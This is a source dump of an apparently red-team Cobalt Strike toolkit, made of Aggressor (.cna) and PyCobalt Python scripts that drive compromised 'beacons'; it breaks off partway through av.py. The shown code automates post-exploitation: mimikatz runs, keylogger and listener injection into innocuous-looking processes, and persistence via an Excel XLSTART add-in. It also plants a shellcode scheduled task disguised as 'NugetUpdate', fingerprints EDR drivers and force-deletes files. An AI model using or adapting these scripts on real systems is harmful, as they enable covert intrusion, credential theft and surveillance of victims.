├── 7zip.cna ├── aliases.py ├── all.cna ├── all.py ├── autoinject.py ├── av.py ├── batch_gui.py ├── beacon_host_script.cna ├── cleanup.py ├── color_ls.cna ├── config.py ├── creds.py ├── debug.py ├── downloads.gui.cna ├── exfil.py ├── external.py ├── forensics.py ├── gui.py ├── host.py ├── lateral.py ├── logs.py ├── network.py ├── note_gui.py ├── notifications.gui.cna ├── old ├── color_ps.cna ├── find_new_procs.py └── shellter.gui.cna ├── other.cna ├── outlook.py ├── parse_powerview.py ├── payloads.cna ├── powerpick.py ├── powerview.py ├── powerview_generated.py ├── privesc.py ├── processes.py ├── ps.py ├── resources ├── drv_list.txt ├── edr.txt ├── elist.txt ├── pipes.txt └── unknown_processes.txt ├── sharpgen.py ├── sleep.py ├── sql.cna ├── utils.cna ├── utils.gui.cna ├── utils.py └── winscp.cna /7zip.cna: -------------------------------------------------------------------------------- 1 | include(script_resource("utils.cna")); 2 | 3 | # TODO use bupload_raw to put it somewhere else 4 | alias 7z-init { 5 | $bid = $1; 6 | blog($bid, 'Uploading 7za.exe'); 7 | bupload($bid, script_resource('tools/7za.exe')); 8 | explorerstomp($bid, '7za.exe'); 9 | } 10 | 11 | alias 7z { 12 | $bid = $1; 13 | shift(@_); 14 | $line = join(' ', @_); 15 | bpowerpick!($bid, "echo '7zip starting'; ./7za.exe $line ; echo '7zip finished';"); 16 | } 17 | 18 | alias 7z-stop { 19 | $bid = $1; 20 | brm($bid, '7za.exe'); 21 | } 22 | -------------------------------------------------------------------------------- /aliases.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import os 8 | import re 9 | import textwrap 10 | import datetime 11 | import collections 12 | import copy 13 | import sleep 14 | 15 | import pycobalt.engine as engine 16 | import pycobalt.events as events 17 | import pycobalt.commands as commands 18 | import pycobalt.aliases as aliases 19 | import pycobalt.aggressor as aggressor 20 | import pycobalt.callbacks as callbacks 21 | import pycobalt.helpers as helpers 22 | import pycobalt.sharpgen as sharpgen 23 | import pycobalt.console as console 24 | from pycobalt.helpers import powershell_quote 25 | 26 | import processes 27 | 28 | aliases.set_quote_replacement('^') 29 | 30 | @aliases.alias('eval', 'Eval aggressor code for a beacon, with $bid set') 31 | def _(bid, code): 32 | code = '$bid = {}; {};'.format(bid, code) 33 | engine.eval(code) 34 | 35 | #@aliases.alias('ziplist', 'List files in a zip file') 36 | #def _(bid, zipfile): 37 | # command = """ 38 | #Add-Type -assembly "system.io.compression.filesystem" 39 | #[io.compression.zipfile]::OpenRead({}).Entries.Name 40 | #""".format(powershell_quote(zipfile)) 41 | # aggressor.bpowerpick(bid, command) 42 | 43 | @aliases.alias('powerpick', 'Replace the regular powerpick') 44 | def _(bid, *args): 45 | command = ' '.join(args) 46 | aggressor.bpowerpick(bid, command) 47 | 48 | @aliases.alias('pp', 'Alias for powerpick') 49 | def _(bid, *args): 50 | command = ' '.join(args) 51 | aggressor.bpowerpick(bid, command) 52 | 53 | @aliases.alias('psh', 'Alias for powershell') 54 | def _(bid, *args): 55 | command = ' '.join(args) 56 | aggressor.bpowershell(bid, command) 57 | 58 | @aliases.alias('s', 'Alias for shell') 59 | def _(bid, *args): 60 | command = ' '.join(args) 61 | aggressor.bshell(bid, command) 62 | 63 | @aliases.alias('lr', 'Recursively list files and directories') 64 | def _(bid, *dirs): 65 | # default dir is . 66 | if not dirs: 67 | dirs = ['.'] 68 | 69 | command = '' 70 | for d in dirs: 71 | command += 'Get-ChildItem -Recurse {}\n'.format(powershell_quote(d)) 72 | 73 | aggressor.btask(bid, 'Tasked beacon to recursively list files in: {}'.format(', '.join(dirs))) 74 | aggressor.bpowerpick(bid, command, silent=True) 75 | 76 | @aliases.alias('rmr', 'Recursively delete files and directories') 77 | def _(bid, *dirs): 78 | if not dirs: 79 | aggressor.berror(bid, 'rmr: specify some directories to kill') 80 | return 81 | 82 | command = '' 83 | for d in dirs: 84 | command += 'Remove-Item -Recurse -Force {}\n'.format(powershell_quote(d)) 85 | 86 | aggressor.btask(bid, 'Tasked beacon to recursively delete: {}'.format(', '.join(dirs))) 87 | aggressor.bpowerpick(bid, command, silent=True) 88 | 89 | @aliases.alias('cat', 'View files') 90 | def _(bid, *files): 91 | if not files: 92 | aggressor.berror(bid, 'cat: specify some files to cat') 93 | return 94 | 95 | code = helpers.code_string(r""" 96 | foreach (string file in args) { 97 | var text = System.IO.File.ReadAllText(file); 98 | System.Console.Write(text); 99 | } 100 | """) 101 | 102 | aggressor.btask(bid, 'Tasked beacon to get contents of: {}'.format(', '.join(files))) 103 | sharpgen.execute(bid, code, files) 104 | 105 | @aliases.alias('head', 'View head of file') 106 | def _(bid, fname, lines=10): 107 | code = helpers.code_string(r""" 108 | string file = args[0]; 109 | int lines = Int32.Parse(args[1]); 110 | string text = string.Join("\r\n", System.IO.File.ReadLines(file).Take(lines)); 111 | System.Console.WriteLine(text); 112 | """) 113 | 114 | aggressor.btask('Tasked beacon to get first {} lines of {}'.format(lines, fname)) 115 | sharpgen.execute(bid, code, (fname, lines)) 116 | 117 | @aliases.alias('tail', 'View tail of file') 118 | def _(bid, fname, lines=10): 119 | aggressor.btask('Tasked beacon to get tail of {}'.format(fname)) 120 | aggressor.bpowerpick(bid, 'gc {} | select -last {} '.format(powershell_quote(fname), lines), silent=True) 121 | 122 | @aliases.alias('dus', 'Show file and directory sizes') 123 | def _(bid, *dirs): 124 | # default dir is . 125 | if not dirs: 126 | dirs = ['.'] 127 | 128 | command = '' 129 | for d in dirs: 130 | command += """ 131 | gci {} | 132 | """.format(powershell_quote(d)) 133 | 134 | command += helpers.code_string(r""" 135 | %{$f=$_; gci -r $_.FullName | 136 | measure-object -property length -sum | 137 | select @{Name="Name"; Expression={$f}}, 138 | @{Name="Sum (MB)"; 139 | Expression={"{0:N3}" -f ($_.sum / 1MB) }}, Sum } | 140 | sort Sum -desc | 141 | format-table -Property Name,"Sum (MB)", Sum -autosize; 142 | """) 143 | 144 | aggressor.btask(bid, 'Tasked beacon to get file sizes in: {}'.format(', '.join(dirs))) 145 | aggressor.bpowerpick(bid, command, silent=True) 146 | 147 | @aliases.alias('df', 'Show filesystem info') 148 | def _(bid): 149 | aggressor.bpowerpick(bid, 'Get-PSDrive -PSProvider FileSystem') 150 | 151 | @aliases.alias('drive-list', 'Run ls in each drive') 152 | def _(bid): 153 | aggressor.btask(bid, 'Tasked beacon to list files at root of each drive') 154 | aggressor.bpowerpick(bid, 'Get-PSDrive -PSProvider Filesystem | ForEach-Object { ls $_.root; }') 155 | 156 | @aliases.alias('profiles', 'Show user profiles') 157 | def _(bid): 158 | aggressor.btask(bid, 'Tasked beacon to show user profiles') 159 | aggressor.bls(bid, r'C:\Users') 160 | 161 | @aliases.alias('profiles-list', 'Run ls in each user profile') 162 | def _(bid, *users): 163 | if users: 164 | aggressor.btask(bid, 'Tasked beacon to list files in user profiles for: {}'.format(', '.join(users))) 165 | for user in users: 166 | aggressor.bls(bid, r'C:\Users\{}'.format(user), silent=True) 167 | else: 168 | aggressor.btask(bid, 'Tasked beacon to list files in each user profile') 169 | aggressor.bpowerpick(bid, r'ls C:\Users | ForEach-Object { ls $_; }', silent=True) 170 | 171 | @aliases.alias('readlink', 'Show .lnk location and arguments') 172 | def _(bid, *lnks): 173 | command = '$sh = New-Object -ComObject WScript.Shell' 174 | 175 | for lnk in lnks: 176 | command += helpers.code_string(r""" 177 | $shortcut = $sh.CreateShortcut({}) 178 | #$target = $shortcut.TargetPath 179 | #$arguments = $target.Arguments 180 | #echo "$target $arguments" 181 | echo "$shortcut.TargetPath $target.Arguments" 182 | """.format(powershell_quote(lnk))) 183 | 184 | aggressor.btask(bid, 'Tasked beacon to read links: {}'.format(', '.join(lnks))) 185 | aggressor.bpowerpick(bid, command, silent=True) 186 | 187 | @aliases.alias('pb', 'Open process browser') 188 | def _(bid): 189 | aggressor.openProcessBrowser(bid) 190 | 191 | @aliases.alias('page', 'Make new page in beacon console') 192 | def _(bid): 193 | aggressor.blog2(bid, '-' * 40 + '\n' * 60) 194 | 195 | @aliases.alias('info', 'Show beacon info') 196 | def _(bid): 197 | out = "Beacon info:\n\n" 198 | for key, value in aggressor.beacon_info(bid).items(): 199 | out += ' - {}: {}\n'.format(key, value) 200 | 201 | aggressor.blog2(bid, out) 202 | 203 | @aliases.alias('loaded', 'Show loaded powershell modules') 204 | def _(bid): 205 | loaded = aggressor.data_query('cmdlets') 206 | if bid in loaded: 207 | out = 'Loaded modules:\n' 208 | for module in loaded[bid]: 209 | if module.lower() in ['local', 'that', 'struct', 'field', 'before', 210 | 'psenum', 'func', '']: 211 | # not sure what these are 212 | continue 213 | 214 | out += ' - {}\n'.format(module) 215 | 216 | aggressor.blog2(bid, out) 217 | else: 218 | aggressor.berror(bid, 'No loaded modules') 219 | 220 | jobkillall_items = collections.defaultdict(list) 221 | 222 | @events.event('beacon_output_jobs') 223 | def jobkillall_callback(bid, text, when): 224 | global jobkillall_items 225 | 226 | jobs = helpers.parse_jobs(text) 227 | 228 | if bid not in jobkillall_items: 229 | # doesn't concern us 230 | return 231 | 232 | for job in jobs: 233 | for item in jobkillall_items[bid]: 234 | if not item or item.lower() in job['description'].lower(): 235 | # kill it 236 | aggressor.blog2(bid, 'Killing job: {} (JID {}) (PID {})'.format(job['description'], job['jid'], job['pid'])) 237 | aggressor.bjobkill(bid, job['jid']) 238 | break 239 | 240 | del jobkillall_items[bid] 241 | 242 | @aliases.alias('jobkillall', 'Kill all jobs matching a description (or all jobs)') 243 | def _(bid, description=None): 244 | global jobkillall_items 245 | 246 | if bid not in jobkillall_items: 247 | # trigger jobs command 248 | aggressor.bjobs(bid, silent=True) 249 | 250 | jobkillall_items[bid].append(description) 251 | 252 | # TODO just make this a powershell one-liner 253 | @aliases.alias('killall') 254 | def _(bid, proc_name): 255 | def callback(procs): 256 | if procs: 257 | for proc in procs: 258 | out = 'Killing {}: {}'.format(proc_name, proc['pid']) 259 | if 'arch' in proc: 260 | out += ' ({})'.format(proc['arch']) 261 | if 'user' in proc: 262 | out += ' ({})'.format(proc['user']) 263 | 264 | aggressor.btask(bid, out) 265 | aggressor.bkill(bid, proc['pid'], silent=True) 266 | else: 267 | aggressor.berror(bid, 'No processes named {}'.format(proc_name)) 268 | 269 | aggressor.btask(bid, 'Tasked beacon to kill processes named {}'.format(proc_name)) 270 | helpers.find_process(bid, proc_name, callback) 271 | 272 | # TODO just make this a powershell one-liner 273 | @aliases.alias('pgrep') 274 | def _(bid, proc_name): 275 | def callback(procs): 276 | if procs: 277 | for proc in procs: 278 | out = 'Found {}: {}'.format(proc_name, proc['pid']) 279 | if 'arch' in proc: 280 | out += ' ({})'.format(proc['arch']) 281 | if 'user' in proc: 282 | out += ' ({})'.format(proc['user']) 283 | aggressor.blog2(bid, out) 284 | else: 285 | aggressor.berror(bid, 'No processes named {}'.format(proc_name)) 286 | 287 | aggressor.btask(bid, 'Tasked beacon to search for processes named {}'.format(proc_name)) 288 | helpers.find_process(bid, proc_name, callback) 289 | 290 | @aliases.alias('describe', 'Get description for executables') 291 | def _(bid, *exes): 292 | command = '' 293 | 294 | if not exes: 295 | raise RuntimeError('describe: Specify at least one exe to describe') 296 | 297 | for exe in exes: 298 | command += '"{0}, {1}" -f $_.Name, [System.Diagnostics.FileVersionInfo]::GetVersionInfo(' + powershell_quote(exe) + ').FileDescription }\n' 299 | 300 | aggressor.btask(bid, 'Tasked beacon to show version info for: {}'.format(', '.join(exes))) 301 | aggressor.bpowerpick(bid, command, silent=True) 302 | 303 | @aliases.alias('procs', 'Get description for processes by pid') 304 | def _(bid, *pids): 305 | command = '' 306 | 307 | if pids: 308 | command += 'Get-Process -Id {}; '.format(','.join(pids)) 309 | else: 310 | command += 'Get-Process | ' 311 | 312 | command += helpers.code_string(""" 313 | ForEach-Object { 314 | "{0}, {1}" -f $_.Name, [System.Diagnostics.FileVersionInfo]::GetVersionInfo($_.Path).FileDescription } 315 | } 316 | """) 317 | 318 | aggressor.btask(bid, 'Tasked beacon to show version info for processes {}'.format(', '.join(pids))) 319 | aggressor.bpowerpick(bid, command, silent=True) 320 | 321 | @aliases.alias('cl', 'Alias for cd; ls; pwd') 322 | def _(bid, *args): 323 | directory = ' '.join(args) 324 | aggressor.bcd(bid, directory) 325 | aggressor.bls(bid) 326 | aggressor.bpwd(bid, silent=True) 327 | 328 | @aliases.alias('l', 'Run ls on multiple directories') 329 | def _(bid, *dirs): 330 | # default dir is . 331 | if not dirs: 332 | dirs = ['.'] 333 | 334 | for d in dirs: 335 | aggressor.bls(bid, d) 336 | 337 | @aliases.alias('la', 'Run ls within all subdirectories of a directory') 338 | def _(bid, *dirs): 339 | # default dir is . 340 | if not dirs: 341 | dirs = ['.'] 342 | 343 | command = 'ls ' 344 | command += ', '.join([powershell_quote('{}\*\*'.format(d)) for d in dirs]) 345 | 346 | aggressor.btask(bid, 'Tasked beacon to list */* in: {}'.format(', '.join(dirs))) 347 | aggressor.bpowerpick(bid, command, silent=True) 348 | 349 | # TODO fix 350 | @aliases.alias('ll', 'Run ls and show links') 351 | def _(bid, *dirs): 352 | # default dir is . 353 | if not dirs: 354 | dirs = ['.'] 355 | 356 | command = '' 357 | 358 | for d in dirs: 359 | command += 'Get-ChildItem {} | % {{ fsutil reparsepoint query $_ }}\n'.format(powershell_quote(d)) 360 | 361 | aggressor.btask(bid, 'Tasked beacon to list links in: {}'.format(', '.join(dirs))) 362 | aggressor.bpowerpick(bid, command, silent=True) 363 | 364 | @aliases.alias('lt', 'List files, sorted by time') 365 | def _(bid, *dirs): 366 | # default dir is . 367 | if not dirs: 368 | dirs = ['.'] 369 | 370 | #command += "Where-Object { -not \$_.PsIsContainer } | 371 | command = '' 372 | for d in dirs: 373 | command += helpers.code_string(r""" 374 | Get-ChildItem -Path {} | 375 | Sort-Object LastWriteTime -Ascending; 376 | """.format(powershell_quote(d))) 377 | 378 | aggressor.btask(bid, 'Tasked beacon to do a sorted-by-time list of: {}'.format(', '.join(dirs))) 379 | aggressor.bpowerpick(bid, command, silent=True) 380 | 381 | @aliases.alias('log', 'Display message on beacon console') 382 | def _(bid, *args): 383 | msg = ' '.join(args) 384 | aggressor.blog(bid, msg) 385 | 386 | @aliases.alias('log2', 'Display message on beacon console') 387 | def _(bid, *args): 388 | msg = ' '.join(args) 389 | aggressor.blog2(bid, msg) 390 | 391 | @aliases.alias('error', 'Display error on beacon console') 392 | def _(bid, *args): 393 | msg = ' '.join(args) 394 | aggressor.berror(bid, msg) 395 | 396 | @aliases.alias('ping', 'Ping a beacon') 397 | def _(bid): 398 | aggressor.bshell(bid, 'echo pong') 399 | 400 | @aliases.alias('estomp') 401 | def _(bid, fname): 402 | helpers.explorer_stomp(bid, fname) 403 | 404 | @aliases.alias('uploadto', 'Upload file to a specified location') 405 | def _(bid, local_file, remote_file): 406 | helpers.upload_to(bid, local_file, remote_file) 407 | 408 | @aliases.alias('find', 'Find a file', 'See `find -h`') 409 | def _(bid, *args): 410 | parser = helpers.ArgumentParser(bid=bid, prog='find') 411 | parser.add_argument('-n', '--name', action='append', help='Name to match') 412 | parser.add_argument('-i', '--iname', action='append', help='Name to match (case insensitive)') 413 | parser.add_argument('--not', dest='not_', action='store_true', help='Invert --name and --iname') 414 | parser.add_argument('-d', '--days', type=int, help='Select files no more than DAYS old') 415 | parser.add_argument('--dirs', action='store_true', help='Include directories') 416 | parser.add_argument('-o', '--out', help='Output file') 417 | parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose') 418 | parser.add_argument('--home', action='store_true', help='Search relative to %USERPROFILE% instead of .') 419 | parser.add_argument('dir', default='.', help='Directory to search from (default: .)') 420 | try: args = parser.parse_args(args) 421 | except: return 422 | 423 | # --home 424 | if args.home: 425 | directory = r'$env:userprofile\{}'.format(powershell_quote(args.dir)) 426 | else: 427 | directory = powershell_quote(args.dir) 428 | 429 | command = 'gci -Recurse -Path {} 2>$null'.format(directory) 430 | 431 | # --dirs 432 | if not args.dirs: 433 | command += ' | where { ! $_.PSIsContainer }' 434 | 435 | name_matches = [] 436 | 437 | # -n/--name 438 | if args.name: 439 | for name in args.name: 440 | name_matches.append('$_.Name -Clike {}'.format(powershell_quote(name))) 441 | 442 | # -i/--iname 443 | if args.iname: 444 | for iname in args.iname: 445 | name_matches.append('$_.Name -Like {}'.format(powershell_quote(iname))) 446 | 447 | if name_matches: 448 | where_statement = ' -Or '.join(name_matches) 449 | 450 | # --not 451 | if args.not_: 452 | where_statement = '-Not ({})'.format(where_statement) 453 | 454 | command += " | Where-Object { " + where_statement + " }" 455 | 456 | # -d/--days 457 | if args.days: 458 | command += ' | ? { $_.LastWriteTime -Ge (Get-Date).AddDays(-{}) }' 459 | 460 | # -o/--out 461 | if args.out: 462 | command += ' > {}'.format(powershell_quote(args.out)) 463 | 464 | command += "; echo 'Finished searching in {}'".format(directory) 465 | 466 | aggressor.btask(bid, 'Tasked beacon to search for files in {}'.format(directory)) 467 | # -v/--verbose 468 | aggressor.bpowerpick(bid, command, silent=not args.verbose) 469 | 470 | @aliases.alias('curl', 'Get contents of webpage') 471 | def _(bid, url): 472 | aggressor.bpowerpick(bid, 473 | '(New-Object System.Net.WebClient).DownloadString({})'.format(powershell_quote(url))) 474 | 475 | @aliases.alias('headers', 'Get response headers for webpage (sends GET request)') 476 | def _(bid, url): 477 | if ':' not in url: 478 | # add scheme 479 | url = 'http://' + url 480 | 481 | command = helpers.code_string(r""" 482 | $request = [System.Net.WebRequest]::Create({}) 483 | """.format(powershell_quote(url))) 484 | command += helpers.code_string(r""" 485 | $response = $request.GetResponse() 486 | $headers = $response.Headers 487 | $headers.AllKeys | 488 | Select-Object @{ Name = "Key"; Expression = { $_ }}, 489 | @{ Name = "Value"; Expression = { $headers.GetValues( $_ ) } } 490 | """) 491 | 492 | aggressor.btask(bid, 'Tasked beacon to get headers for URL: {}'.format(url)) 493 | aggressor.bpowerpick(bid, command, silent=True) 494 | 495 | # TODO make this pure powershell 496 | @aliases.alias('host', 'Resolve hostname') 497 | def _(bid, *hosts): 498 | command = '' 499 | 500 | if not hosts: 501 | aggressor.berror('specify a host') 502 | return 503 | 504 | for host in hosts: 505 | command += 'nslookup {}\n'.format(powershell_quote(host)) 506 | 507 | aggressor.btask(bid, 'Tasked beacon to resolve host(s): {}'.format(', '.join(hosts))) 508 | aggressor.bpowerpick(bid, command, silent=True) 509 | 510 | @aliases.alias('home', 'Change to probable home directory') 511 | def _(bid): 512 | home = helpers.guess_home(bid) 513 | aggressor.bcd(bid, home) 514 | aggressor.bls(bid) 515 | aggressor.bpwd(bid, silent=True) 516 | 517 | unknown_processes = utils.basedir('resources/unknown_processes.txt') 518 | 519 | @aliases.alias('windows', 'Show windows') 520 | def _(bid): 521 | command = helpers.code_string(r""" 522 | Get-Process | 523 | Where { $_.mainWindowTitle } | 524 | Format-Table id,name,mainwindowtitle -AutoSize 525 | """) 526 | 527 | aggressor.btask(bid, 'Tasked beacon to list open windows') 528 | aggressor.bpowerpick(bid, command, silent=True) 529 | 530 | @aliases.alias('powershell-version', 'Get powershell version') 531 | def _(bid): 532 | aggressor.bpowershell(bid, 'echo $PSVersionTable.PSVersion') 533 | 534 | @aliases.alias('screenshot-spawn', 'Spawn and run screenshot tool (forever by default)') 535 | def _(bid, time=999999): 536 | aggressor.bscreenshot(bid, time) 537 | 538 | @aliases.alias('excel-persist', 'Persist with a .xlam file in XLSTART') 539 | def _(bid, xlam): 540 | appdata = helpers.guess_appdata(bid) 541 | user_xlstart = r'{}\Microsoft\Excel\XLSTART'.format(appdata) 542 | 543 | aggressor.bmkdir(bid, user_xlstart) 544 | helpers.upload_to(bid, xlam, r'{}\module.xlam'.format(user_xlstart)) 545 | 546 | @aliases.alias('word-persist', 'Persist with a .dotm file in Templates') 547 | def _(bid, xlam): 548 | appdata = helpers.guess_appdata(bid) 549 | templates = r'{}\Microsoft\Templates'.format(appdata) 550 | 551 | aggressor.bmkdir(bid, user_xlstart) 552 | helpers.upload_to(bid, xlam, r'{}\module.xlam'.format(user_xlstart)) 553 | 554 | @aliases.alias('shellcode-persist', 'Persist with shellcode and a helper exe') 555 | def _(bid, shellcode): 556 | local_helper = utils.basedir('tools/native_persist.exe') 557 | 558 | appdata = helpers.guess_appdata(bid) 559 | nuget_dir = r'{}\NuGet'.format(appdata) 560 | remote_helper = r'{}\NugetManager.exe'.format(nuget_dir) 561 | aggressor.bmkdir(bid, nuget_dir) 562 | 563 | helpers.upload_to(bid, shellcode, r'{}\nuget.package'.format(nuget_dir)) 564 | helpers.upload_to(bid, local_helper, remote_helper) 565 | 566 | aggressor.bshell(bid, 'schtasks /create /f /tn NugetUpdate /sc daily /tr {}'.format(remote_helper)) 567 | 568 | @aliases.alias('mimi', 'Run multiple mimikatz commands') 569 | def _(bid, *commands): 570 | line = '\n'.join(commands) 571 | aggressor.bmimikatz(bid, line) 572 | 573 | @aliases.alias('sl', 'Better sleep command') 574 | def _(bid, value, jitter='30'): 575 | sleep.sleep(bid, value, int(jitter)) 576 | 577 | @aliases.alias('pause', 'Pause beacon for period of time') 578 | def _(bid, value): 579 | sleep.pause(bid, value) 580 | 581 | # Run a local shell command 582 | @commands.command('shell') 583 | def _(*command): 584 | command = ' '.join(command) 585 | _, output, _ = helpers.capture(command) 586 | aggressor.println(output) 587 | 588 | @aliases.alias('client', 'Run a shell command on the local (client) host') 589 | def _(bid, *command): 590 | command = ' '.join(command) 591 | _, output, _ = helpers.capture(command) 592 | aggressor.blog2(bid, 'Local shell output:\n' + output.decode()) 593 | 594 | @aliases.alias('testargs', 'Test args') 595 | def _(bid, *args): 596 | # public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) 597 | code = helpers.code_string(""" 598 | foreach (string arg in args) { 599 | Console.WriteLine("> " + arg); 600 | } 601 | """) 602 | 603 | sharpgen.execute(bid, code, args, 604 | add_references=['System.Management.Automation.dll', 'SharpSploit.dll'], cache=True, delete_after=False, silent=False) 605 | 606 | @aliases.alias('env', 'Get environmental variables') 607 | def _(bid): 608 | command = helpers.code_string(r""" 609 | Get-Childitem -path env:* | 610 | Select-Object Name, Value | 611 | Sort-Object name | 612 | Format-Table -Auto 613 | """) 614 | 615 | aggressor.bpowerpick(bid, command) 616 | -------------------------------------------------------------------------------- /all.cna: -------------------------------------------------------------------------------- 1 | # TODO dcom lateral movement 2 | # TODO look at rob fuller's privesc pdf 3 | # TODO get stickynotes (see /share/tools/powershell/threatexpress-misc/HostEnum.ps1) 4 | # TODO /share/tools/cobaltstrike/scripts/others/bytecod3r/Others/ProcessMonitor.cna 5 | # TODO /share/tools/cobaltstrike/scripts/others/bytecod3r/Others/PowerView3.cna and /share/tools/cobaltstrike/scripts/others/invokethreatguy/tevora-threat/PowerView.cna 6 | # TODO https://github.com/Raikia/CredNinja 7 | # TODO keybindings for tabs, script console, reload all scripts 8 | # TODO integrate persistence js python stuff 9 | # TODO get all downloads sync working 10 | # TODO archive files, keylogs, screenshots, logs, etc 11 | # TODO /share/tools/powershell/bashbunny-scripts/Get-IECreds.ps1 12 | # TODO /share/tools/powershell/FuzzySecurity-misc/Bypass-UAC/Bypass-UAC.ps1 13 | # TODO /share/tools/powershell/harmj0y-misc/Invoke-NetRipper.ps1 14 | # TODO /share/tools/powershell/rvrsh3ll-misc/Backdoor-ExcelAddIn.ps1 15 | # TODO /share/tools/powershell/rvrsh3ll-misc/Create-HotKeyLNK.ps1 16 | # TODO get credleak working 17 | # TODO nishang Check-VM 18 | # TODO microphone 19 | 20 | # Python API 21 | #$pycobalt_debug_on = true; 22 | $pycobalt_path = script_resource('pycobalt/aggressor'); 23 | include($pycobalt_path . '/pycobalt.cna'); 24 | 25 | # Stop all python scripts 26 | sub python_restart { 27 | python(script_resource('all.py'), $fork_immediately => true); 28 | python(script_resource('gui.py')); 29 | } 30 | 31 | command psa { 32 | python_stop_all(); 33 | } 34 | 35 | command pr { 36 | python_restart(); 37 | } 38 | 39 | python_restart(); 40 | 41 | # Payloads 42 | include(script_resource("beacon_host_script.cna")); 43 | 44 | # Colorized output 45 | #include(script_resource("color_ps.cna")); 46 | include(script_resource("color_ls.cna")); 47 | 48 | # Privesc 49 | include(script_resource("elevate.cna")); 50 | 51 | # Little GUI things 52 | #include(script_resource("batch.gui.cna")); 53 | include(script_resource("notifications.gui.cna")); 54 | 55 | # Exfil 56 | include(script_resource("winscp.cna")); 57 | include(script_resource("sql.cna")); 58 | include(script_resource("downloads.gui.cna")); 59 | -------------------------------------------------------------------------------- /all.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine 8 | 9 | # config 10 | import config 11 | 12 | # modules 13 | import aliases 14 | import sharpgen 15 | import exfil 16 | import autoinject 17 | import lateral 18 | import privesc 19 | import forensics 20 | import av 21 | import outlook 22 | import creds 23 | import network 24 | import host 25 | import logs 26 | import ps 27 | import powerview 28 | import cleanup 29 | import debug 30 | import payloads 31 | 32 | pycobalt.engine.loop() 33 | -------------------------------------------------------------------------------- /autoinject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import os 8 | import re 9 | import textwrap 10 | import datetime 11 | import collections 12 | 13 | import pycobalt.engine as engine 14 | import pycobalt.events as events 15 | import pycobalt.commands as commands 16 | import pycobalt.aliases as aliases 17 | import pycobalt.aggressor as aggressor 18 | import pycobalt.callbacks as callbacks 19 | import pycobalt.helpers as helpers 20 | from pycobalt.helpers import powershell_quote 21 | 22 | default_procs = ['igfxEM.exe', 'vpnui.exe', 'acrotray.exe', 'igfxtray.exe'] 23 | 24 | @aliases.alias('autoinject-keylogger', 'Find a suitable process and inject keylogger') 25 | def _(bid, *proc_names): 26 | if not proc_names: 27 | # defaults 28 | proc_names = default_procs 29 | 30 | def parsed_callback(procs): 31 | found = None 32 | for search in proc_names: 33 | for proc in procs: 34 | if search == proc['name'] and 'arch' in proc and 'user' in proc: 35 | # inject it 36 | aggressor.blog(bid, 'Keylogging process {} ({} {})'.format(proc['name'], proc['pid'], proc['arch'])) 37 | aggressor.bkeylogger(bid, proc['pid'], proc['arch'], silent=True) 38 | return 39 | 40 | # nothing found 41 | aggressor.berror(bid, "Didn't find any processes to inject keylogger") 42 | 43 | def ps_callback(bid, content): 44 | procs = helpers.parse_ps(content) 45 | parsed_callback(procs) 46 | 47 | aggressor.btask(bid, 'Tasked beacon to keylog first accessible process named: ' + ', '.join(proc_names)) 48 | aggressor.bps(bid, ps_callback) 49 | 50 | @aliases.alias('autoinject-listener', 'Find a suitable process and inject listener') 51 | def _(bid, listener=None, *proc_names): 52 | if not proc_names: 53 | # defaults 54 | proc_names = default_procs 55 | 56 | if not listener: 57 | # select default listener 58 | listener = helpers.default_listener() 59 | 60 | if listener not in aggressor.listeners(): 61 | # listener not recognized 62 | aggressor.berror(bid, 'Unknown listener: {}'.format(listener)) 63 | return 64 | 65 | def parsed_callback(procs): 66 | found = None 67 | for search in proc_names: 68 | for proc in procs: 69 | if search == proc['name'] and 'arch' in proc and 'user' in proc: 70 | # inject it 71 | aggressor.blog(bid, 'Injecting listener {} into process {} ({} {})'.format(listener, proc['name'], proc['pid'], proc['arch'])) 72 | aggressor.binject(bid, proc['pid'], listener, proc['arch']) 73 | return 74 | 75 | # nothing found 76 | aggressor.berror(bid, "Didn't find any processes to inject listener {}".format(listener)) 77 | 78 | def ps_callback(bid, content): 79 | procs = helpers.parse_ps(content) 80 | parsed_callback(procs) 81 | 82 | aggressor.btask(bid, 'Tasked beacon to inject listener {} into first accessible process named: {}'.format(listener, ', '.join(proc_names))) 83 | aggressor.bps(bid, ps_callback) 84 | 85 | -------------------------------------------------------------------------------- /av.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import textwrap 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | import pycobalt.helpers as helpers 16 | from pycobalt.helpers import powershell_quote 17 | 18 | def import_av_logs(bid): 19 | """ 20 | Import AVLogs.ps1 21 | """ 22 | 23 | aggressor.bpowershell_import(bid, utils.basedir('powershell/AVLogs.ps1')) 24 | 25 | @aliases.alias('mcafee', 'Get McAfee logs') 26 | def _(bid): 27 | import_av_logs(bid) 28 | aggressor.bpowerpick(bid, 'Get-McafeeLogs') 29 | 30 | def edr_list(): 31 | """ 32 | Get list of EDR products. 33 | 34 | :return: Dictionary with driver name as key and description as value 35 | """ 36 | 37 | edr_file = utils.basedir('resources/edr.txt') 38 | 39 | edrs = {} 40 | with open(edr_file, 'r') as fp: 41 | for line in fp: 42 | driver, name = line.split('\t') 43 | driver = driver.lower().strip() 44 | edrs[driver] = name.strip() 45 | return edrs 46 | 47 | @aliases.alias('edr', 'Find EDR products') 48 | def _(bid): 49 | drivers_dir = r'C:\Windows\System32\drivers' 50 | 51 | def ls_callback(bid, folder, content): 52 | edrs = edr_list() 53 | 54 | files = helpers.parse_ls(content) 55 | finds = set() 56 | for f in files: 57 | name = f['name'].lower() 58 | if name in edrs: 59 | finds.add(edrs[name]) 60 | 61 | if finds: 62 | for find in finds: 63 | aggressor.blog2(bid, 'Found EDR product: {}'.format(find)) 64 | else: 65 | aggressor.blog2(bid, 'No EDR products found') 66 